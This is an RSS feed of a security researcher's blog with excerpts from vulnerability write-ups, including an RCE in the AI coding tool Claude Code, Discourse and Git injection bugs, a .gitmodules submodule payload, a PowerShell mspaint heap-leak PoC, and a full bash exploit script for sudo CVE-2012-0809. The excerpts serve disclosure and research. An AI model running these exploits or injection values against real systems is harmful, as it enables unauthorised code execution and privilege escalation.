<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>0day.click</title><link>https://0day.click/</link><description>Recent content on 0day.click</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Tue, 12 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://0day.click/index.xml" rel="self" type="application/rss+xml"/><item><title>Claude Code RCE: Exploiting Deeplink Handlers via Settings Injection</title><link>https://0day.click/recipe/2026-05-12-cc-rce/</link><pubDate>Tue, 12 May 2026 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/2026-05-12-cc-rce/</guid><description>&lt;p&gt;Of course I took a peek at the Claude Code source 🙈.&lt;/p&gt;
&lt;p&gt;What I found was a very entertaining vulnerability which is now
fixed since Claude Code version 2.1.118.&lt;/p&gt;
&lt;p&gt;Just wading through the massive codebase manually wasn&amp;rsquo;t really a
feasible approach. So took an army of AI Agents to&amp;hellip;. no wait
actually I did not do that, the following was all manual work. :P&lt;/p&gt;
&lt;p&gt;I started by looking at different configuration options and tried to see
what&amp;rsquo;s actually &amp;ldquo;useful&amp;rdquo; from an attacker&amp;rsquo;s perspective. On the way,
in &lt;code&gt;main.tsx&lt;/code&gt; I came across &lt;code&gt;eagerLoadSettings&lt;/code&gt;, it eagerly loads settings,
obviously:&lt;/p&gt;</description></item><item><title>RCE via LDAP truncation on hg.mozilla.org</title><link>https://0day.click/recipe/pash/</link><pubDate>Sat, 03 Jun 2023 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/pash/</guid><description>&lt;p&gt;Given my interest in SCM and CI systems I was a little keen to see how this is done at Mozilla as part of their &lt;a href="https://hackerone.com/mozilla_critical_services"&gt;bug bounty program&lt;/a&gt;.
Thanks to &lt;a href="https://social.security.plumbing/@freddy"&gt;freddy&lt;/a&gt; I was granted &lt;a href="https://www.mozilla.org/en-US/about/governance/policies/commit/access-policy/"&gt;Level 1 access&lt;/a&gt; to Mozilla&amp;rsquo;s SCM at &lt;code&gt;hg.mozilla.org&lt;/code&gt; in late 2022. As Mozilla is a pretty transparent company I found the &lt;a href="https://hg.mozilla.org/hgcustom/version-control-tools/"&gt;version-control-tools&lt;/a&gt; repository which contains the code and configuration behind &lt;code&gt;hg.mozilla.org&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I spent a couple of hours to a very few days looking at this code, setting up a simplified test system, and popping shells on the infrastructure around Christmas 2022. In this post I&amp;rsquo;ll outline one of two authenticated RCE flaws I identified and reported to Mozilla on the 26th of December in 2022.&lt;/p&gt;</description></item><item><title>Discourse SNS webhook RCE</title><link>https://0day.click/recipe/discourse-sns-rce/</link><pubDate>Sat, 23 Oct 2021 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/discourse-sns-rce/</guid><description>&lt;p&gt;I was staring at &lt;a href="https://github.com/discourse/discourse/blob/1472e47aae5bfdfb6fd9abfe89beb186c751f514/app/jobs/regular/confirm_sns_subscription.rb#L17"&gt;this part&lt;/a&gt; of the code for way too long already:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;module&lt;/span&gt; Jobs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ConfirmSnsSubscription&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;Jobs&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;Base&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sidekiq_options &lt;span style="color:#66d9ef"&gt;retry&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;execute&lt;/span&gt;(args)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;unless&lt;/span&gt; raw &lt;span style="color:#f92672"&gt;=&lt;/span&gt; args&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#e6db74"&gt;:raw&lt;/span&gt;&lt;span style="color:#f92672"&gt;].&lt;/span&gt;presence
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;unless&lt;/span&gt; json &lt;span style="color:#f92672"&gt;=&lt;/span&gt; args&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#e6db74"&gt;:json&lt;/span&gt;&lt;span style="color:#f92672"&gt;].&lt;/span&gt;presence
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;unless&lt;/span&gt; subscribe_url &lt;span style="color:#f92672"&gt;=&lt;/span&gt; json&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;SubscribeURL&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;].&lt;/span&gt;presence
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; require &lt;span style="color:#e6db74"&gt;&amp;#34;aws-sdk-sns&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;unless&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Aws&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;SNS&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;MessageVerifier&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new&lt;span style="color:#f92672"&gt;.&lt;/span&gt;authentic?(raw)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# confirm subscription by visiting the URL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; open(subscribe_url)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above code is an excerpt from &lt;a href="https://www.discourse.org/"&gt;Discourse&lt;/a&gt;&amp;rsquo;s AWS notification webhook handler. This handler can be triggered without further authentication under &lt;code&gt;https://somedicourseinstance/webhooks/aws&lt;/code&gt;. In the above code &lt;code&gt;args[:raw]&lt;/code&gt; is the raw POST body and &lt;code&gt;args[:json]&lt;/code&gt; is the POST body but parsed as JSON.&lt;/p&gt;</description></item><item><title>Discourse themes OS Command Injection</title><link>https://0day.click/recipe/2021-04-18-discourse-themes/</link><pubDate>Sun, 18 Apr 2021 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/2021-04-18-discourse-themes/</guid><description>&lt;p&gt;&lt;a href="https://www.discourse.org/"&gt;Discourse&lt;/a&gt; offers the possibility to install themes from remote Git repositories. Before &lt;a href="https://github.com/discourse/discourse/commit/94301854938a0b36dd64666fb7a7c8406544a781"&gt;this commit&lt;/a&gt; it was possible to inject OS commands via a maliciously crafted theme which is pulled via Git.&lt;/p&gt;
&lt;p&gt;The root cause for the issue lay in the parsing of the &lt;a href="https://meta.discourse.org/t/introducing-discourse-compatibility-pinned-plugin-theme-versions-for-older-discourse-versions/156971"&gt;&lt;code&gt;.discourse-compatibility&lt;/code&gt; file&lt;/a&gt;
which is a yaml file containing a mapping of the target discourse version and a git
version to be checked out for that specific discourse version.&lt;/p&gt;
&lt;p&gt;The version information is passed to&lt;/p&gt;</description></item><item><title>Mosaic "0day"</title><link>https://0day.click/recipe/m0s41c/</link><pubDate>Fri, 04 Dec 2020 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/m0s41c/</guid><description>&lt;p&gt;While attendig &lt;a href="https://warcon.pl"&gt;WarCon&lt;/a&gt; in 2016
&lt;a href="https://twitter.com/teh_gerg"&gt;greg&lt;/a&gt; and I sat together in .mario&amp;rsquo;s talk &lt;em&gt;My
Sweet Innocence Exposed - Eleven Reasons why we will all miss you, &amp;ldquo;e&amp;rdquo;&lt;/em&gt;, his
rants about MSIE reminded us of the fact that we both had the task of finding a
Mosaic 0day still on our agenda. So the evening after the talk we sat down
together and started approaching that goal.&lt;/p&gt;
&lt;p&gt;The latest version of Mosaic for Unix which can be found at
&lt;code&gt;ftp://ftp.ncsa.uiuc.edu/Mosaic/Unix/binaries/2.7b/&lt;/code&gt; is 2.7b, released
roughly 24 years ago. So we got the static binary for Linux and threw it in a
somewhat recent 32bit Ubuntu VM.&lt;/p&gt;</description></item><item><title>CVE-2018-17456</title><link>https://0day.click/recipe/cve-2018-17456/</link><pubDate>Tue, 16 Oct 2018 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/cve-2018-17456/</guid><description>&lt;p&gt;I&amp;rsquo;ve gotten a couple of questions about exploitation for the
&lt;a href="https://marc.info/?l=git&amp;amp;m=153875888916397&amp;amp;w=2"&gt;recent RCE&lt;/a&gt; in Git. So here we
go with some technical details.&lt;/p&gt;
&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/joernchen/poc-submodule"&gt;Here&lt;/a&gt; is a PoC repository.&lt;/p&gt;
&lt;h2 id="exploitation"&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;.gitmodules&lt;/code&gt; file looks as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[submodule &amp;#34;x:x&amp;#34;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;x:x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;	url = -u./payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The actual command being injected is set by the url, &lt;code&gt;-u./payload&lt;/code&gt;
points the &lt;code&gt;upload-pack&lt;/code&gt; flag of git clone to the &lt;code&gt;payload&lt;/code&gt; shell
script. Note also the &lt;code&gt;:&lt;/code&gt; within the path, this part is needed to
actually get the &lt;code&gt;payload&lt;/code&gt; script executed.&lt;/p&gt;</description></item><item><title>Paintbleed</title><link>https://0day.click/recipe/paintbleed/</link><pubDate>Tue, 14 Mar 2017 00:00:00 +0000</pubDate><guid>https://0day.click/recipe/paintbleed/</guid><description>&lt;h1 id="summary"&gt;Summary&lt;/h1&gt;
&lt;p&gt;mspaint.exe does not properly verify Dib data from the clipboard. Therefore
we can craft some Dib data in the clipboard which e.g. suggests a size of
0x100 by 0x100 pixels and contains not more than the Dib header itself. So
the actual image data rendered by mspaint.exe is its own heap data =)&lt;/p&gt;
&lt;h1 id="poc"&gt;PoC&lt;/h1&gt;
&lt;p&gt;Run the following code in PowerShell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$bytes = &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;136&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;System.Windows.Forms.Clipboard&lt;/span&gt;]::SetData([&lt;span style="color:#66d9ef"&gt;System.Windows.Forms.DataFormats&lt;/span&gt;]::Dib,[&lt;span style="color:#66d9ef"&gt;System.IO.MemoryStream&lt;/span&gt;]::new($bytes))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Afterwards open mspaint.exe and paste. The result should be the graphical
representation of some of mspaints.exe&amp;rsquo;s heap memory.&lt;/p&gt;</description></item><item><title>WebConsole IP Whitelist bypass</title><link>https://0day.click/recipe/2015-06-16-webconsole/</link><pubDate>Tue, 16 Jun 2015 20:44:23 +0200</pubDate><guid>https://0day.click/recipe/2015-06-16-webconsole/</guid><description>&lt;p&gt;With the release of Ruby on Rails 4.2 the so called &lt;a href="https://github.com/rails/web-console"&gt;Web Console&lt;/a&gt; was introduced.&lt;/p&gt;
&lt;p&gt;As the Web Console documentation states:
&lt;em&gt;Web Console is built explicitly for Rails 4.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;By default the Web Console is available in the Rails Development Environment and allows only the IPs &lt;code&gt;127.0.0.1&lt;/code&gt; and &lt;code&gt;::1&lt;/code&gt; to access the console in order to evaluate arbitrary Ruby statements for the purpose of debugging.&lt;/p&gt;
&lt;p&gt;However with Rails Versions 4.1 and 4.0 the Web Console built in IP whitelist is bypassable.
This is due to the fact that Web Console parses the &lt;code&gt;request.remote_ip&lt;/code&gt; to check if the IP is whitelisted with the Ruby class &lt;code&gt;IPAddr&lt;/code&gt;. The Rails stack prior to 4.2 when calculating &lt;code&gt;request.remote_ip&lt;/code&gt; uses &lt;a href="https://github.com/rails/rails/blob/4-1-stable/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L31-38"&gt;these regular expressions&lt;/a&gt; to strip out trusted Proxies from the HTTP Headers &lt;code&gt;X-Forwarded-For&lt;/code&gt; and &lt;code&gt;Client-IP&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>CVE-2012-0809 Exploit</title><link>https://0day.click/recipe/2014-04-28-sudo-expoit/</link><pubDate>Mon, 28 Apr 2014 18:28:10 +0200</pubDate><guid>https://0day.click/recipe/2014-04-28-sudo-expoit/</guid><description>&lt;p&gt;&lt;a href="https://gist.github.com/joernchen/618a8940894084102fe2"&gt;Original gist&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# CVE-2012-0809 exploit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# joernchen of Phenoelit&amp;#39;s version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Payload to be executed goes to /tmp/a (might be a shell script)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/echo &lt;span style="color:#e6db74"&gt;&amp;#39;-&amp;gt; Clearing ENV&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in &lt;span style="color:#e6db74"&gt;`&lt;/span&gt;env |cut -f1 -d &lt;span style="color:#e6db74"&gt;&amp;#34;=&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt; ;&lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; unset $i;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/echo &lt;span style="color:#e6db74"&gt;&amp;#39;-&amp;gt; Creating symlink&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/ln -s /usr/bin/sudo ./%134520134x%900&lt;span style="color:#ae81ff"&gt;\$&lt;/span&gt;n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/echo &lt;span style="color:#e6db74"&gt;&amp;#39;-&amp;gt; Setting ENV&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export AAA&lt;span style="color:#f92672"&gt;=&lt;/span&gt;AAAA;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export A;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i in &lt;span style="color:#e6db74"&gt;`&lt;/span&gt;/usr/bin/seq &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; 5000&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export A&lt;span style="color:#f92672"&gt;=&lt;/span&gt;$A&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;echo -n -e &lt;span style="color:#e6db74"&gt;&amp;#39;\x24\x83\x05\x08&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/echo &lt;span style="color:#e6db74"&gt;&amp;#39;-&amp;gt; Now a little Brute-Force&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; true ; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; SUDO_ASKPASS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/tmp/a ./%134520134x%900&lt;span style="color:#ae81ff"&gt;\$&lt;/span&gt;n -D9 -A id 2&amp;gt;/dev/null ; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$?&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt; break ;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt; ; &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/echo &lt;span style="color:#e6db74"&gt;&amp;#39;-&amp;gt; Cleaning up&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/bin/rm /tmp/%134520134x%900&lt;span style="color:#ae81ff"&gt;\$&lt;/span&gt;n
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>GitHub RCE Writeup</title><link>https://0day.click/recipe/2014-02-22-github/</link><pubDate>Sat, 22 Feb 2014 17:17:50 +0100</pubDate><guid>https://0day.click/recipe/2014-02-22-github/</guid><description>&lt;p&gt;&lt;a href="https://gist.github.com/joernchen/a7c031b6b8df5d5d0b61"&gt;Original gist&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GitHub RCE by Environment variable injection Bug Bounty writeup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Disclaimer: I&amp;#39;ll keep this really short but I hope you&amp;#39;ll get the key points.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GitHub blogged a while ago about some internal tool called gerve:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://github.com/blog/530-how-we-made-github-fast
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Upon git+sshing to github.com gerve basically looks up your permission
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;on the repo you want to interact with. Then it bounces you further in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;another forced SSH session to the back end where the repo actually is.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;At some point I figured that it is possible to inject some environment
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;variables into gerve/the forked SSH process by setting my username to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;something like &amp;#34;joerchen\n\nLD_ASSUME_KERNEL=1\n\n&amp;#34;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LD_ASSUME_KERNEL=1 will prevent the actual command from being run, just
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;like this:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;joernchen ~ $ LD_ASSUME_KERNEL=1 uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;For the details on this, check man 8 ld.so.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;So far so good, how can we use this fact to make SSH execute arbitrary
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;commands?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The technique I came up with used both features of ld.so and SSH itself:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LD_PRELOAD=/path/to/libfakeroot.so
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SSH_ASKPASS=/usr/bin/ex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DISPLAY=:1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;How and why did this work?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1.) libfakeroot makes SSH think it&amp;#39;s root (we can inject this via
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; LD_PRELOAD because the ssh binary is not setuid)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2.) ssh tries to read /root/.ssh/known_hosts
